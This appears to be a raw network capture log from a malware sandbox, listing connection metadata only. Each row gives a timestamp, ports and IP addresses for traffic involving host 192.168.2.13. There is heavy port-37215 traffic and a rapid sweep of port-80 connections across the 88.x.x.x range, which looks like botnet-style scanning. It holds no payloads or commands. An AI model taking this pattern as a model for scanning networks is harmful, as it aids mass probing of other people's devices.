Jul 20, 2024 23:00:59.077366114 CEST	37215	42570	181.77.179.109	192.168.2.13
Jul 20, 2024 23:00:59.077394962 CEST	37215	35012	157.24.52.3	192.168.2.13
Jul 20, 2024 23:00:59.077423096 CEST	37215	45336	197.36.237.89	192.168.2.13
Jul 20, 2024 23:00:59.077451944 CEST	37215	59968	157.184.88.81	192.168.2.13
Jul 20, 2024 23:00:59.077481031 CEST	37215	37234	86.82.54.225	192.168.2.13
Jul 20, 2024 23:00:59.077538013 CEST	37215	56484	197.112.125.91	192.168.2.13
Jul 20, 2024 23:00:59.077568054 CEST	37215	59386	41.222.221.26	192.168.2.13
Jul 20, 2024 23:00:59.077598095 CEST	37215	56090	220.90.88.236	192.168.2.13
Jul 20, 2024 23:00:59.077626944 CEST	37215	39112	145.185.248.183	192.168.2.13
Jul 20, 2024 23:00:59.077655077 CEST	37215	34700	197.209.60.212	192.168.2.13
Jul 20, 2024 23:00:59.077685118 CEST	37215	50462	157.161.52.19	192.168.2.13
Jul 20, 2024 23:00:59.077713966 CEST	37215	59660	114.116.15.132	192.168.2.13
Jul 20, 2024 23:00:59.077743053 CEST	37215	44818	197.145.183.59	192.168.2.13
Jul 20, 2024 23:00:59.077771902 CEST	37215	38898	104.8.73.49	192.168.2.13
Jul 20, 2024 23:00:59.077800989 CEST	37215	42636	41.135.156.196	192.168.2.13
Jul 20, 2024 23:00:59.077831030 CEST	37215	51784	109.174.172.219	192.168.2.13
Jul 20, 2024 23:00:59.077858925 CEST	37215	47914	75.142.64.164	192.168.2.13
Jul 20, 2024 23:00:59.077888012 CEST	37215	44802	194.65.196.65	192.168.2.13
Jul 20, 2024 23:00:59.077915907 CEST	37215	50812	104.140.179.113	192.168.2.13
Jul 20, 2024 23:00:59.077944994 CEST	37215	38738	157.200.38.194	192.168.2.13
Jul 20, 2024 23:00:59.077974081 CEST	37215	42034	163.150.42.115	192.168.2.13
Jul 20, 2024 23:00:59.078001022 CEST	37215	52376	138.35.105.236	192.168.2.13
Jul 20, 2024 23:00:59.078030109 CEST	37215	57056	197.109.166.112	192.168.2.13
Jul 20, 2024 23:00:59.078058004 CEST	37215	38556	157.11.18.169	192.168.2.13
Jul 20, 2024 23:00:59.078085899 CEST	37215	34624	41.88.134.99	192.168.2.13
Jul 20, 2024 23:00:59.078135967 CEST	37215	58296	197.9.119.173	192.168.2.13
Jul 20, 2024 23:00:59.078171015 CEST	37215	50670	197.56.38.36	192.168.2.13
Jul 20, 2024 23:00:59.078200102 CEST	37215	55466	41.70.65.103	192.168.2.13
Jul 20, 2024 23:00:59.078201056 CEST	40564	80	192.168.2.13	88.31.32.16
Jul 20, 2024 23:00:59.078229904 CEST	37215	35422	157.106.231.112	192.168.2.13
Jul 20, 2024 23:00:59.078258991 CEST	37215	49980	217.47.253.96	192.168.2.13
Jul 20, 2024 23:00:59.078289986 CEST	37215	40934	197.16.131.86	192.168.2.13
Jul 20, 2024 23:00:59.078320026 CEST	37215	44874	116.156.175.81	192.168.2.13
Jul 20, 2024 23:00:59.078350067 CEST	37215	52206	157.132.248.230	192.168.2.13
Jul 20, 2024 23:00:59.078377962 CEST	37215	43002	157.180.195.105	192.168.2.13
Jul 20, 2024 23:00:59.078407049 CEST	37215	54018	46.185.21.147	192.168.2.13
Jul 20, 2024 23:00:59.078434944 CEST	37215	38854	203.129.114.89	192.168.2.13
Jul 20, 2024 23:00:59.078464031 CEST	37215	57130	41.187.2.103	192.168.2.13
Jul 20, 2024 23:00:59.078493118 CEST	37215	52932	197.185.241.200	192.168.2.13
Jul 20, 2024 23:00:59.078521013 CEST	37215	41822	157.181.146.64	192.168.2.13
Jul 20, 2024 23:00:59.078548908 CEST	37215	41912	196.108.28.41	192.168.2.13
Jul 20, 2024 23:00:59.078577995 CEST	37215	37268	41.152.229.173	192.168.2.13
Jul 20, 2024 23:00:59.078607082 CEST	37215	39592	157.156.49.184	192.168.2.13
Jul 20, 2024 23:00:59.078635931 CEST	37215	57934	41.114.67.30	192.168.2.13
Jul 20, 2024 23:00:59.078664064 CEST	37215	49466	157.231.126.250	192.168.2.13
Jul 20, 2024 23:00:59.078691959 CEST	37215	42974	157.11.177.150	192.168.2.13
Jul 20, 2024 23:00:59.078721046 CEST	37215	60718	197.190.172.118	192.168.2.13
Jul 20, 2024 23:00:59.078757048 CEST	37215	60186	41.237.188.97	192.168.2.13
Jul 20, 2024 23:00:59.078792095 CEST	37215	40410	157.108.71.72	192.168.2.13
Jul 20, 2024 23:00:59.078820944 CEST	37215	58760	52.138.177.196	192.168.2.13
Jul 20, 2024 23:00:59.078850985 CEST	37215	53236	2.69.54.160	192.168.2.13
Jul 20, 2024 23:00:59.078880072 CEST	37215	38068	37.50.200.38	192.168.2.13
Jul 20, 2024 23:00:59.078907967 CEST	37215	54950	157.230.111.60	192.168.2.13
Jul 20, 2024 23:00:59.078936100 CEST	37215	37320	197.204.98.25	192.168.2.13
Jul 20, 2024 23:00:59.078963995 CEST	37215	33654	110.202.3.118	192.168.2.13
Jul 20, 2024 23:00:59.078993082 CEST	37215	58158	157.138.203.32	192.168.2.13
Jul 20, 2024 23:00:59.079021931 CEST	37215	45338	41.44.46.164	192.168.2.13
Jul 20, 2024 23:00:59.079056978 CEST	37215	37640	157.171.167.12	192.168.2.13
Jul 20, 2024 23:00:59.079085112 CEST	37215	43748	183.18.158.37	192.168.2.13
Jul 20, 2024 23:00:59.079113007 CEST	37215	58342	67.164.145.87	192.168.2.13
Jul 20, 2024 23:00:59.079140902 CEST	37215	32816	41.4.10.141	192.168.2.13
Jul 20, 2024 23:00:59.079169989 CEST	37215	49566	197.75.184.178	192.168.2.13
Jul 20, 2024 23:00:59.079197884 CEST	37215	50030	157.207.241.220	192.168.2.13
Jul 20, 2024 23:00:59.079226971 CEST	37215	54504	203.131.164.121	192.168.2.13
Jul 20, 2024 23:00:59.079255104 CEST	37215	40354	157.1.12.172	192.168.2.13
Jul 20, 2024 23:00:59.079283953 CEST	37215	56970	192.48.206.157	192.168.2.13
Jul 20, 2024 23:00:59.079313040 CEST	37215	32838	41.150.219.200	192.168.2.13
Jul 20, 2024 23:00:59.079340935 CEST	37215	44316	197.21.88.67	192.168.2.13
Jul 20, 2024 23:00:59.079374075 CEST	37215	41716	197.168.76.154	192.168.2.13
Jul 20, 2024 23:00:59.079411983 CEST	37215	58098	197.124.222.24	192.168.2.13
Jul 20, 2024 23:00:59.079440117 CEST	37215	50918	157.245.110.242	192.168.2.13
Jul 20, 2024 23:00:59.079468966 CEST	37215	38858	41.209.60.208	192.168.2.13
Jul 20, 2024 23:00:59.079498053 CEST	37215	49736	65.79.209.34	192.168.2.13
Jul 20, 2024 23:00:59.079525948 CEST	37215	34008	197.39.121.171	192.168.2.13
Jul 20, 2024 23:00:59.079554081 CEST	37215	36856	197.84.11.202	192.168.2.13
Jul 20, 2024 23:00:59.079581976 CEST	37215	45584	157.219.233.88	192.168.2.13
Jul 20, 2024 23:00:59.079612970 CEST	37215	40306	157.42.236.252	192.168.2.13
Jul 20, 2024 23:00:59.079642057 CEST	37215	55064	197.145.164.25	192.168.2.13
Jul 20, 2024 23:00:59.079669952 CEST	37215	51088	41.109.79.201	192.168.2.13
Jul 20, 2024 23:00:59.079696894 CEST	37215	44478	41.185.235.4	192.168.2.13
Jul 20, 2024 23:00:59.079725027 CEST	37215	53188	157.34.92.241	192.168.2.13
Jul 20, 2024 23:00:59.079751968 CEST	37215	33556	157.220.78.185	192.168.2.13
Jul 20, 2024 23:00:59.079780102 CEST	37215	37720	41.17.9.128	192.168.2.13
Jul 20, 2024 23:00:59.079807043 CEST	37215	35044	197.35.252.89	192.168.2.13
Jul 20, 2024 23:00:59.079837084 CEST	37215	49894	114.104.89.214	192.168.2.13
Jul 20, 2024 23:00:59.079865932 CEST	37215	42216	197.73.217.175	192.168.2.13
Jul 20, 2024 23:00:59.079895020 CEST	37215	58506	157.15.177.153	192.168.2.13
Jul 20, 2024 23:00:59.079926014 CEST	37215	49998	197.54.41.117	192.168.2.13
Jul 20, 2024 23:00:59.079955101 CEST	37215	46612	20.222.215.240	192.168.2.13
Jul 20, 2024 23:00:59.079986095 CEST	37215	58998	41.79.63.222	192.168.2.13
Jul 20, 2024 23:00:59.080024004 CEST	37215	55082	157.134.72.2	192.168.2.13
Jul 20, 2024 23:00:59.080053091 CEST	37215	35076	41.201.10.23	192.168.2.13
Jul 20, 2024 23:00:59.080081940 CEST	37215	42210	197.130.190.85	192.168.2.13
Jul 20, 2024 23:00:59.080110073 CEST	37215	42662	157.222.199.50	192.168.2.13
Jul 20, 2024 23:00:59.080138922 CEST	37215	33242	41.62.99.32	192.168.2.13
Jul 20, 2024 23:00:59.080167055 CEST	37215	44740	197.238.40.168	192.168.2.13
Jul 20, 2024 23:00:59.080195904 CEST	37215	39374	41.194.84.193	192.168.2.13
Jul 20, 2024 23:00:59.080224037 CEST	37215	54514	41.150.243.200	192.168.2.13
Jul 20, 2024 23:00:59.080252886 CEST	37215	48244	157.45.88.204	192.168.2.13
Jul 20, 2024 23:00:59.080280066 CEST	37215	53836	157.231.4.197	192.168.2.13
Jul 20, 2024 23:00:59.080308914 CEST	37215	36272	182.85.50.153	192.168.2.13
Jul 20, 2024 23:00:59.080337048 CEST	37215	36346	157.62.193.172	192.168.2.13
Jul 20, 2024 23:00:59.080365896 CEST	37215	60170	197.17.13.19	192.168.2.13
Jul 20, 2024 23:00:59.080394030 CEST	37215	39572	197.64.178.193	192.168.2.13
Jul 20, 2024 23:00:59.080423117 CEST	37215	47944	41.143.52.237	192.168.2.13
Jul 20, 2024 23:00:59.080451012 CEST	37215	50040	41.186.86.221	192.168.2.13
Jul 20, 2024 23:00:59.080468893 CEST	44758	80	192.168.2.13	88.179.97.55
Jul 20, 2024 23:00:59.080478907 CEST	37215	57984	157.154.83.107	192.168.2.13
Jul 20, 2024 23:00:59.080555916 CEST	80	60562	88.57.169.186	192.168.2.13
Jul 20, 2024 23:00:59.080602884 CEST	60562	80	192.168.2.13	88.57.169.186
Jul 20, 2024 23:00:59.080737114 CEST	80	41128	88.143.197.12	192.168.2.13
Jul 20, 2024 23:00:59.080796003 CEST	80	42014	88.59.14.239	192.168.2.13
Jul 20, 2024 23:00:59.080804110 CEST	41128	80	192.168.2.13	88.143.197.12
Jul 20, 2024 23:00:59.081507921 CEST	42014	80	192.168.2.13	88.59.14.239
Jul 20, 2024 23:00:59.081819057 CEST	80	34576	88.235.23.149	192.168.2.13
Jul 20, 2024 23:00:59.082051039 CEST	34576	80	192.168.2.13	88.235.23.149
Jul 20, 2024 23:00:59.083007097 CEST	43964	80	192.168.2.13	88.207.39.160
Jul 20, 2024 23:00:59.083964109 CEST	80	49628	88.36.207.19	192.168.2.13
Jul 20, 2024 23:00:59.084016085 CEST	49628	80	192.168.2.13	88.36.207.19
Jul 20, 2024 23:00:59.085220098 CEST	55722	80	192.168.2.13	88.72.207.1
Jul 20, 2024 23:00:59.087405920 CEST	80	40564	88.31.32.16	192.168.2.13
Jul 20, 2024 23:00:59.087680101 CEST	80	44758	88.179.97.55	192.168.2.13
Jul 20, 2024 23:00:59.087728024 CEST	44758	80	192.168.2.13	88.179.97.55
Jul 20, 2024 23:00:59.088150024 CEST	40564	80	192.168.2.13	88.31.32.16
Jul 20, 2024 23:00:59.088150024 CEST	50582	80	192.168.2.13	88.182.133.67
Jul 20, 2024 23:00:59.089122057 CEST	80	43964	88.207.39.160	192.168.2.13
Jul 20, 2024 23:00:59.089164019 CEST	43964	80	192.168.2.13	88.207.39.160
Jul 20, 2024 23:00:59.090172052 CEST	48710	80	192.168.2.13	88.221.198.181
Jul 20, 2024 23:00:59.091814041 CEST	80	55722	88.72.207.1	192.168.2.13
Jul 20, 2024 23:00:59.091887951 CEST	55722	80	192.168.2.13	88.72.207.1
Jul 20, 2024 23:00:59.092344046 CEST	37632	80	192.168.2.13	88.130.132.206
Jul 20, 2024 23:00:59.093475103 CEST	80	50582	88.182.133.67	192.168.2.13
Jul 20, 2024 23:00:59.093529940 CEST	50582	80	192.168.2.13	88.182.133.67
Jul 20, 2024 23:00:59.094613075 CEST	39588	80	192.168.2.13	88.144.85.68
Jul 20, 2024 23:00:59.095547915 CEST	80	48710	88.221.198.181	192.168.2.13
Jul 20, 2024 23:00:59.095602989 CEST	48710	80	192.168.2.13	88.221.198.181
Jul 20, 2024 23:00:59.096862078 CEST	39706	80	192.168.2.13	88.245.235.139
Jul 20, 2024 23:00:59.097409964 CEST	80	37632	88.130.132.206	192.168.2.13
Jul 20, 2024 23:00:59.097450972 CEST	37632	80	192.168.2.13	88.130.132.206
Jul 20, 2024 23:00:59.098918915 CEST	54650	80	192.168.2.13	88.95.76.231
Jul 20, 2024 23:00:59.099729061 CEST	80	39588	88.144.85.68	192.168.2.13
Jul 20, 2024 23:00:59.099781036 CEST	39588	80	192.168.2.13	88.144.85.68
Jul 20, 2024 23:00:59.101068974 CEST	40800	80	192.168.2.13	88.31.145.92
Jul 20, 2024 23:00:59.103152037 CEST	58904	80	192.168.2.13	88.92.124.171
Jul 20, 2024 23:00:59.105209112 CEST	32852	80	192.168.2.13	88.168.133.200
Jul 20, 2024 23:00:59.107263088 CEST	58732	80	192.168.2.13	88.40.83.143
Jul 20, 2024 23:00:59.107592106 CEST	80	39706	88.245.235.139	192.168.2.13
Jul 20, 2024 23:00:59.107652903 CEST	39706	80	192.168.2.13	88.245.235.139
Jul 20, 2024 23:00:59.107717991 CEST	80	54650	88.95.76.231	192.168.2.13
Jul 20, 2024 23:00:59.107764006 CEST	54650	80	192.168.2.13	88.95.76.231
Jul 20, 2024 23:00:59.108010054 CEST	80	40800	88.31.145.92	192.168.2.13
Jul 20, 2024 23:00:59.108068943 CEST	40800	80	192.168.2.13	88.31.145.92
Jul 20, 2024 23:00:59.109450102 CEST	59908	80	192.168.2.13	88.119.103.131
Jul 20, 2024 23:00:59.110933065 CEST	37215	47022	157.16.61.193	192.168.2.13
Jul 20, 2024 23:00:59.110963106 CEST	37215	43024	157.42.124.218	192.168.2.13
Jul 20, 2024 23:00:59.110992908 CEST	37215	60614	197.136.94.142	192.168.2.13
Jul 20, 2024 23:00:59.111021996 CEST	37215	49580	157.82.209.252	192.168.2.13
Jul 20, 2024 23:00:59.111078978 CEST	37215	60900	157.237.43.90	192.168.2.13
Jul 20, 2024 23:00:59.111129045 CEST	37215	43614	157.210.89.153	192.168.2.13
Jul 20, 2024 23:00:59.111157894 CEST	37215	43270	157.202.34.88	192.168.2.13
Jul 20, 2024 23:00:59.111187935 CEST	37215	34082	25.100.29.220	192.168.2.13
Jul 20, 2024 23:00:59.111217976 CEST	80	58904	88.92.124.171	192.168.2.13
Jul 20, 2024 23:00:59.111263990 CEST	58904	80	192.168.2.13	88.92.124.171
Jul 20, 2024 23:00:59.111340046 CEST	80	32852	88.168.133.200	192.168.2.13
Jul 20, 2024 23:00:59.111382961 CEST	32852	80	192.168.2.13	88.168.133.200
Jul 20, 2024 23:00:59.111550093 CEST	46836	80	192.168.2.13	88.187.51.16
Jul 20, 2024 23:00:59.113667965 CEST	39244	80	192.168.2.13	88.194.170.76
Jul 20, 2024 23:00:59.113821030 CEST	37215	55454	157.52.27.4	192.168.2.13
Jul 20, 2024 23:00:59.113850117 CEST	80	58732	88.40.83.143	192.168.2.13
Jul 20, 2024 23:00:59.113889933 CEST	58732	80	192.168.2.13	88.40.83.143
Jul 20, 2024 23:00:59.115185976 CEST	80	59908	88.119.103.131	192.168.2.13
Jul 20, 2024 23:00:59.115231991 CEST	59908	80	192.168.2.13	88.119.103.131
Jul 20, 2024 23:00:59.116164923 CEST	32918	80	192.168.2.13	88.204.108.175
Jul 20, 2024 23:00:59.116928101 CEST	37215	52346	41.246.201.30	192.168.2.13
Jul 20, 2024 23:00:59.117018938 CEST	80	46836	88.187.51.16	192.168.2.13
Jul 20, 2024 23:00:59.117450953 CEST	46836	80	192.168.2.13	88.187.51.16
Jul 20, 2024 23:00:59.118365049 CEST	59844	80	192.168.2.13	88.110.99.36
Jul 20, 2024 23:00:59.119040966 CEST	80	39244	88.194.170.76	192.168.2.13
Jul 20, 2024 23:00:59.119083881 CEST	39244	80	192.168.2.13	88.194.170.76
Jul 20, 2024 23:00:59.120697975 CEST	41622	80	192.168.2.13	88.117.222.91
Jul 20, 2024 23:00:59.121233940 CEST	80	32918	88.204.108.175	192.168.2.13
Jul 20, 2024 23:00:59.121413946 CEST	32918	80	192.168.2.13	88.204.108.175
Jul 20, 2024 23:00:59.122952938 CEST	41668	80	192.168.2.13	88.23.226.239
Jul 20, 2024 23:00:59.123353004 CEST	80	59844	88.110.99.36	192.168.2.13
Jul 20, 2024 23:00:59.123403072 CEST	59844	80	192.168.2.13	88.110.99.36
Jul 20, 2024 23:00:59.125031948 CEST	51192	80	192.168.2.13	88.214.91.164
Jul 20, 2024 23:00:59.125686884 CEST	80	41622	88.117.222.91	192.168.2.13
Jul 20, 2024 23:00:59.125746965 CEST	41622	80	192.168.2.13	88.117.222.91
Jul 20, 2024 23:00:59.127407074 CEST	41192	80	192.168.2.13	88.222.100.42
Jul 20, 2024 23:00:59.127859116 CEST	80	41668	88.23.226.239	192.168.2.13
Jul 20, 2024 23:00:59.127913952 CEST	41668	80	192.168.2.13	88.23.226.239
Jul 20, 2024 23:00:59.129755020 CEST	46392	80	192.168.2.13	88.133.123.34
Jul 20, 2024 23:00:59.130038977 CEST	80	51192	88.214.91.164	192.168.2.13
Jul 20, 2024 23:00:59.130093098 CEST	51192	80	192.168.2.13	88.214.91.164
Jul 20, 2024 23:00:59.132421970 CEST	80	41192	88.222.100.42	192.168.2.13
Jul 20, 2024 23:00:59.133910894 CEST	41192	80	192.168.2.13	88.222.100.42
Jul 20, 2024 23:00:59.135013103 CEST	80	46392	88.133.123.34	192.168.2.13
Jul 20, 2024 23:00:59.170617104 CEST	46392	80	192.168.2.13	88.133.123.34
Jul 20, 2024 23:00:59.246565104 CEST	54880	80	192.168.2.13	88.253.118.70
Jul 20, 2024 23:00:59.248711109 CEST	49026	80	192.168.2.13	88.221.47.36
Jul 20, 2024 23:00:59.250816107 CEST	41350	80	192.168.2.13	88.39.169.246
Jul 20, 2024 23:00:59.252670050 CEST	50230	80	192.168.2.13	88.91.21.190
Jul 20, 2024 23:00:59.252732038 CEST	50230	80	192.168.2.13	88.91.21.190
Jul 20, 2024 23:00:59.253768921 CEST	50738	80	192.168.2.13	88.91.21.190
Jul 20, 2024 23:00:59.254323006 CEST	80	54880	88.253.118.70	192.168.2.13
Jul 20, 2024 23:00:59.254512072 CEST	54880	80	192.168.2.13	88.253.118.70
Jul 20, 2024 23:00:59.255016088 CEST	43964	80	192.168.2.13	88.76.214.90
Jul 20, 2024 23:00:59.255016088 CEST	43964	80	192.168.2.13	88.76.214.90
Jul 20, 2024 23:00:59.255877972 CEST	44468	80	192.168.2.13	88.76.214.90
Jul 20, 2024 23:00:59.257129908 CEST	45364	80	192.168.2.13	88.103.153.43
Jul 20, 2024 23:00:59.257129908 CEST	45364	80	192.168.2.13	88.103.153.43
Jul 20, 2024 23:00:59.257168055 CEST	80	49026	88.221.47.36	192.168.2.13
Jul 20, 2024 23:00:59.257313013 CEST	49026	80	192.168.2.13	88.221.47.36
Jul 20, 2024 23:00:59.257599115 CEST	80	41350	88.39.169.246	192.168.2.13
Jul 20, 2024 23:00:59.257678032 CEST	41350	80	192.168.2.13	88.39.169.246
Jul 20, 2024 23:00:59.257797003 CEST	80	50230	88.91.21.190	192.168.2.13
Jul 20, 2024 23:00:59.258119106 CEST	45864	80	192.168.2.13	88.103.153.43
Jul 20, 2024 23:00:59.258853912 CEST	80	50738	88.91.21.190	192.168.2.13
Jul 20, 2024 23:00:59.259044886 CEST	50738	80	192.168.2.13	88.91.21.190
Jul 20, 2024 23:00:59.259202957 CEST	34890	80	192.168.2.13	88.236.162.163
Jul 20, 2024 23:00:59.259202957 CEST	34890	80	192.168.2.13	88.236.162.163
Jul 20, 2024 23:00:59.260050058 CEST	35386	80	192.168.2.13	88.236.162.163
Jul 20, 2024 23:00:59.261147022 CEST	80	43964	88.76.214.90	192.168.2.13
Jul 20, 2024 23:00:59.261159897 CEST	80	44468	88.76.214.90	192.168.2.13
Jul 20, 2024 23:00:59.261202097 CEST	44468	80	192.168.2.13	88.76.214.90
Jul 20, 2024 23:00:59.261233091 CEST	49166	80	192.168.2.13	88.248.146.190
Jul 20, 2024 23:00:59.261233091 CEST	49166	80	192.168.2.13	88.248.146.190
Jul 20, 2024 23:00:59.262161970 CEST	49658	80	192.168.2.13	88.248.146.190
Jul 20, 2024 23:00:59.262164116 CEST	80	45364	88.103.153.43	192.168.2.13
Jul 20, 2024 23:00:59.263406038 CEST	44784	80	192.168.2.13	88.114.68.157
Jul 20, 2024 23:00:59.263406038 CEST	44784	80	192.168.2.13	88.114.68.157
Jul 20, 2024 23:00:59.264278889 CEST	45272	80	192.168.2.13	88.114.68.157
Jul 20, 2024 23:00:59.265440941 CEST	53362	80	192.168.2.13	88.124.234.147
Jul 20, 2024 23:00:59.265440941 CEST	53362	80	192.168.2.13	88.124.234.147
Jul 20, 2024 23:00:59.265799999 CEST	80	45864	88.103.153.43	192.168.2.13
Jul 20, 2024 23:00:59.265921116 CEST	80	34890	88.236.162.163	192.168.2.13
Jul 20, 2024 23:00:59.265933990 CEST	80	35386	88.236.162.163	192.168.2.13
Jul 20, 2024 23:00:59.265933037 CEST	45864	80	192.168.2.13	88.103.153.43
Jul 20, 2024 23:00:59.265970945 CEST	35386	80	192.168.2.13	88.236.162.163
Jul 20, 2024 23:00:59.266300917 CEST	53846	80	192.168.2.13	88.124.234.147
Jul 20, 2024 23:00:59.267452002 CEST	80	49166	88.248.146.190	192.168.2.13
Jul 20, 2024 23:00:59.267520905 CEST	44884	80	192.168.2.13	88.86.157.38
Jul 20, 2024 23:00:59.267520905 CEST	44884	80	192.168.2.13	88.86.157.38
Jul 20, 2024 23:00:59.268321037 CEST	80	49658	88.248.146.190	192.168.2.13
Jul 20, 2024 23:00:59.268404007 CEST	49658	80	192.168.2.13	88.248.146.190
Jul 20, 2024 23:00:59.268419981 CEST	45364	80	192.168.2.13	88.86.157.38
Jul 20, 2024 23:00:59.268446922 CEST	80	44784	88.114.68.157	192.168.2.13
Jul 20, 2024 23:00:59.269552946 CEST	34088	80	192.168.2.13	88.94.186.220
Jul 20, 2024 23:00:59.269552946 CEST	34088	80	192.168.2.13	88.94.186.220
Jul 20, 2024 23:00:59.269735098 CEST	80	45272	88.114.68.157	192.168.2.13
Jul 20, 2024 23:00:59.269777060 CEST	45272	80	192.168.2.13	88.114.68.157
Jul 20, 2024 23:00:59.270404100 CEST	34564	80	192.168.2.13	88.94.186.220
Jul 20, 2024 23:00:59.271528006 CEST	56542	80	192.168.2.13	88.50.180.63
Jul 20, 2024 23:00:59.271528006 CEST	56542	80	192.168.2.13	88.50.180.63
Jul 20, 2024 23:00:59.271910906 CEST	80	53362	88.124.234.147	192.168.2.13
Jul 20, 2024 23:00:59.271923065 CEST	80	53846	88.124.234.147	192.168.2.13
Jul 20, 2024 23:00:59.271953106 CEST	53846	80	192.168.2.13	88.124.234.147
Jul 20, 2024 23:00:59.272521973 CEST	57014	80	192.168.2.13	88.50.180.63
Jul 20, 2024 23:00:59.273582935 CEST	55498	80	192.168.2.13	88.124.135.162
Jul 20, 2024 23:00:59.273582935 CEST	55498	80	192.168.2.13	88.124.135.162
Jul 20, 2024 23:00:59.274424076 CEST	55966	80	192.168.2.13	88.124.135.162
Jul 20, 2024 23:00:59.274914026 CEST	80	44884	88.86.157.38	192.168.2.13
Jul 20, 2024 23:00:59.274941921 CEST	80	45364	88.86.157.38	192.168.2.13
Jul 20, 2024 23:00:59.274955034 CEST	80	34088	88.94.186.220	192.168.2.13
Jul 20, 2024 23:00:59.274986982 CEST	45364	80	192.168.2.13	88.86.157.38
Jul 20, 2024 23:00:59.275588989 CEST	49414	80	192.168.2.13	88.243.42.220
Jul 20, 2024 23:00:59.275588989 CEST	49414	80	192.168.2.13	88.243.42.220
Jul 20, 2024 23:00:59.276444912 CEST	49878	80	192.168.2.13	88.243.42.220
Jul 20, 2024 23:00:59.276695967 CEST	80	34564	88.94.186.220	192.168.2.13
Jul 20, 2024 23:00:59.276707888 CEST	80	56542	88.50.180.63	192.168.2.13
Jul 20, 2024 23:00:59.276736975 CEST	34564	80	192.168.2.13	88.94.186.220
Jul 20, 2024 23:00:59.277708054 CEST	34234	80	192.168.2.13	88.3.114.76
Jul 20, 2024 23:00:59.277709007 CEST	34234	80	192.168.2.13	88.3.114.76
Jul 20, 2024 23:00:59.278064013 CEST	80	57014	88.50.180.63	192.168.2.13
Jul 20, 2024 23:00:59.278105021 CEST	57014	80	192.168.2.13	88.50.180.63
Jul 20, 2024 23:00:59.278609991 CEST	34694	80	192.168.2.13	88.3.114.76
Jul 20, 2024 23:00:59.279597044 CEST	38744	80	192.168.2.13	88.182.133.26
Jul 20, 2024 23:00:59.279597044 CEST	38744	80	192.168.2.13	88.182.133.26
Jul 20, 2024 23:00:59.280525923 CEST	39200	80	192.168.2.13	88.182.133.26
Jul 20, 2024 23:00:59.281589985 CEST	51374	80	192.168.2.13	88.229.144.100
Jul 20, 2024 23:00:59.281590939 CEST	51374	80	192.168.2.13	88.229.144.100
Jul 20, 2024 23:00:59.282427073 CEST	51826	80	192.168.2.13	88.229.144.100
Jul 20, 2024 23:00:59.282883883 CEST	80	55498	88.124.135.162	192.168.2.13
Jul 20, 2024 23:00:59.282896996 CEST	80	55966	88.124.135.162	192.168.2.13
Jul 20, 2024 23:00:59.282938957 CEST	55966	80	192.168.2.13	88.124.135.162
Jul 20, 2024 23:00:59.282967091 CEST	80	49414	88.243.42.220	192.168.2.13
Jul 20, 2024 23:00:59.283067942 CEST	80	49878	88.243.42.220	192.168.2.13
Jul 20, 2024 23:00:59.283080101 CEST	80	34234	88.3.114.76	192.168.2.13
Jul 20, 2024 23:00:59.283128977 CEST	49878	80	192.168.2.13	88.243.42.220
Jul 20, 2024 23:00:59.283641100 CEST	54918	80	192.168.2.13	88.151.199.19
Jul 20, 2024 23:00:59.283641100 CEST	54918	80	192.168.2.13	88.151.199.19
Jul 20, 2024 23:00:59.283864021 CEST	80	34694	88.3.114.76	192.168.2.13
Jul 20, 2024 23:00:59.284028053 CEST	34694	80	192.168.2.13	88.3.114.76
Jul 20, 2024 23:00:59.284709930 CEST	80	38744	88.182.133.26	192.168.2.13
Jul 20, 2024 23:00:59.284897089 CEST	55366	80	192.168.2.13	88.151.199.19
Jul 20, 2024 23:00:59.286117077 CEST	41712	80	192.168.2.13	88.239.53.105
Jul 20, 2024 23:00:59.286118031 CEST	41712	80	192.168.2.13	88.239.53.105
Jul 20, 2024 23:00:59.286899090 CEST	42156	80	192.168.2.13	88.239.53.105
Jul 20, 2024 23:00:59.288028002 CEST	37750	80	192.168.2.13	88.39.208.120
Jul 20, 2024 23:00:59.288028002 CEST	37750	80	192.168.2.13	88.39.208.120
Jul 20, 2024 23:00:59.289057970 CEST	80	39200	88.182.133.26	192.168.2.13
Jul 20, 2024 23:00:59.289071083 CEST	80	51374	88.229.144.100	192.168.2.13
Jul 20, 2024 23:00:59.289083958 CEST	80	51826	88.229.144.100	192.168.2.13
Jul 20, 2024 23:00:59.289088011 CEST	38190	80	192.168.2.13	88.39.208.120
Jul 20, 2024 23:00:59.289113998 CEST	39200	80	192.168.2.13	88.182.133.26
Jul 20, 2024 23:00:59.289167881 CEST	80	54918	88.151.199.19	192.168.2.13
Jul 20, 2024 23:00:59.289195061 CEST	51826	80	192.168.2.13	88.229.144.100
Jul 20, 2024 23:00:59.290072918 CEST	51362	80	192.168.2.13	88.79.104.187
Jul 20, 2024 23:00:59.290072918 CEST	51362	80	192.168.2.13	88.79.104.187
Jul 20, 2024 23:00:59.290899992 CEST	51798	80	192.168.2.13	88.79.104.187
Jul 20, 2024 23:00:59.290955067 CEST	80	55366	88.151.199.19	192.168.2.13
Jul 20, 2024 23:00:59.291101933 CEST	55366	80	192.168.2.13	88.151.199.19
Jul 20, 2024 23:00:59.292519093 CEST	60274	80	192.168.2.13	88.109.221.124
Jul 20, 2024 23:00:59.292519093 CEST	60274	80	192.168.2.13	88.109.221.124
Jul 20, 2024 23:00:59.292840004 CEST	80	41712	88.239.53.105	192.168.2.13
Jul 20, 2024 23:00:59.293267965 CEST	80	42156	88.239.53.105	192.168.2.13
Jul 20, 2024 23:00:59.293381929 CEST	42156	80	192.168.2.13	88.239.53.105
Jul 20, 2024 23:00:59.293381929 CEST	60706	80	192.168.2.13	88.109.221.124
Jul 20, 2024 23:00:59.293843031 CEST	80	37750	88.39.208.120	192.168.2.13
Jul 20, 2024 23:00:59.294536114 CEST	40136	80	192.168.2.13	88.123.9.155
Jul 20, 2024 23:00:59.294536114 CEST	40136	80	192.168.2.13	88.123.9.155
Jul 20, 2024 23:00:59.295368910 CEST	40564	80	192.168.2.13	88.123.9.155
Jul 20, 2024 23:00:59.295819998 CEST	80	38190	88.39.208.120	192.168.2.13
Jul 20, 2024 23:00:59.295943022 CEST	80	51362	88.79.104.187	192.168.2.13
Jul 20, 2024 23:00:59.296003103 CEST	38190	80	192.168.2.13	88.39.208.120
Jul 20, 2024 23:00:59.296510935 CEST	43272	80	192.168.2.13	88.95.27.60
Jul 20, 2024 23:00:59.296510935 CEST	43272	80	192.168.2.13	88.95.27.60
Jul 20, 2024 23:00:59.297373056 CEST	43696	80	192.168.2.13	88.95.27.60
Jul 20, 2024 23:00:59.297379017 CEST	80	51798	88.79.104.187	192.168.2.13
Jul 20, 2024 23:00:59.297418118 CEST	51798	80	192.168.2.13	88.79.104.187
